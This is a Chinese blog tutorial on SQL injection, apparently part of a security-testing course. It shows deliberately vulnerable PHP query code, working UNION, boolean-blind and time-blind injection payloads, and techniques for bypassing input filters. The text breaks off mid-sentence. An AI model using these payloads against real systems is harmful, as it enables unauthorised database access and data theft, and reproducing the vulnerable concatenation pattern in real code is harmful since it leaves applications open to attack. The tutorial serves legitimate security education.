前言
本篇博文是《从0到1学习安全测试》中漏洞原理系列的第二篇博文,主要内容是介绍在 SQL 注入过程中如何进行信息搜集,以及实操基础的入门注入和一些常用绕过注入,往期系列文章请访问博主的 安全测试 专栏;
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
信息搜集
信息搜集在 SQL 注入攻击中扮演着重要的角色,它为攻击者提供了关键的目标数据库和应用程序信息,帮助攻击者更好地进行后续的攻击操作。
信息搜集主要包括以下几个方面:
使用以下一些指令获取相关信息:
select version()
:获取数据库版本;
select user()
:获取数据库用户名;
select database()
:获取数据库名;
select @@datadir
:获取数据库路径;
select @@version_compile_os
:获取操作系统版本;
注入入门
基础注入
假设一个网站的部分源码如下所示:
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result))
echo "";
echo "".$row['id']." ";
echo "".$row['name']." ";
echo "".$row['age']." ";
echo " ";
}
echo "";
那么我们根据其 SQL 语句 SELECT * FROM users where name='
进行正常查询时,可以发现不管有没有这个用户名 name
,最终都会显示出结果,运行结果如下:
那么我们据此构造一些恶意语句,比如说使用 union
进行联合查询,使用 union
需要保证前后查询的字段数量保持一致,否则会报错,运行结果如下所示:
那么根据上述原理,我们可以匹配出网页源码中 SQL 语句里的 *
代表着 5 个字段,运行结果如下所示:
我们可以构造 SQL 收集一些信息,比如 admin union select version(),user(),database(),4,5--+
,运行结果如下:
SQL 盲注
SQL 盲注是指在进行网络安全测试或攻击时,攻击者通过检测系统的响应来确定系统中存在的漏洞或薄弱点的一种方法。攻击者通常会发送特定的请求到目标系统,并观察系统的响应,如果响应的结果与预期不符,那么可能存在漏洞。通过不断尝试不同的请求和观察响应,攻击者可以逐步获得关于目标系统的信息,并利用这些信息进行进一步的攻击。
假设一个网站的部分源码如下所示:
$sql = "SELECT * FROM users ORDER BY `";
$sql = mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
接下来我们将采用布尔盲注和时间盲注的方式进行攻击。
布尔盲注
布尔盲注是指在进行 SQL 注入时,根据返回的结果是 True
或者是 False
来得到数据库中的相关信息。
由于网站源码是对 order by
进行了拼接,因此我们不能再使用 union
等方法进行注入,而且这里并没有报错输出,因此采用布尔盲注的方式,为了方便调试,接下来将以 BP 抓包的形式展现。
首先是正常的进行请求,运行结果如下:
接下来使用布尔盲注,因为上个例子已经知道数据库名是 exercises
,因此这里就不做过多猜测,注入语句如下:
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))
解释一下上述的 SQL 语句,这句 SQL 的目的是通过判断数据库名的第一个字符的 ASCII 码值是否大于100(e
是101),来实现一个条件查询的排序。如果第一个字符的 ASCII 码值大于100,则按照字段名 name
(0x6e616d65)升序排序,否则按照括号字符 (
(0x28)的 ASCII 码值来排序。
同时,这句 SQL 中使用了一些函数和技巧:
MID()
函数用于提取字符串的部分字符。IFNULL()
函数用于判断数据库名是否为空,如果为空,则返回一个空格字符 "0x20"。CAST()
函数用于将数据库名转换为 NCHAR 类型。ORD()
函数用于获取一个字符的 ASCII 码值。CASE WHEN
语句用于判断 ASCII 码值是否大于100。
运行结果:
推断数据库名的第二个字符的 SQL 语句如下:
order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))
接下来以此类推就可以了。
时间盲注
除了布尔盲注之外,还存在其他的盲注方式,比如时间盲注。
时间盲注是指攻击者向目标应用程序发送恶意的请求时,如果存在时间盲注漏洞,应用程序可能会有不同的响应时间。
正常查询时,所需时间如下:
构造时间盲注的 SQL 语句:
order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)--+
运行结果:
绕过方式
为了避免 SQL 注入攻击,应用程序会对输入数据进行适当的验证和过滤,而 hacker 会绞尽脑汁地想办法去进行绕过,以下是一些常见的绕过方式。
空格被过滤
1、使用 /*xxx*/
行内注释或者 ()
进行绕过:
SELECT/*1*/username,password/*1*/FROM/*1*/users;
SELECT(username),(password)FROM(users);
2、使用 %09 %0a %0b %0c %0d %a0
等不可见字符进行绕过:
%09
:TAB 键(水平);%0a
:新建一行;%0b
:TAB 键(垂直);%0c
:新的一页;%0d
:return 功能;%a0
:空格;
假设一个网站的部分源码如下所示:
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
如果是正常注入的话,会发现空格被过滤了,导致注入失败:
因此,我们需要使用不可见字符替换空格,下面将使用 %a0
进行替换:
引号被过滤
使用十六进制代替字符串,比如将 sidiot 的十六进制表示为 0x736964696f74:
SELECT username, password FROM users WHERE username=0x736964696f74
逗号被过滤
1、使用 from for
代替逗号:
# 替换前
select substr(database(),1,1);
# 替换后
select substr(database() from 1 for 1);
2、使用 join
代替逗号:
# 替换前
select 1,2;
# 替换后
select * from (select 1)a join (select 2)b;
3、使用 offset
代替逗号:
# 替换前
select * from users limit 0,1;
# 替换后
select * from users limit 1 offset 0;
比较符号被过滤
1、用 like, rlike, regexp
代替 =
:
select * from users where username like 'sidiot';
select * from users where username rlike 'sidiot';
select * from users where username regexp 'sidiot';
2、用 greatest()、least()
代替 :
# 替换前
select * from users where id=1 and ascii(substr(database(),0,1))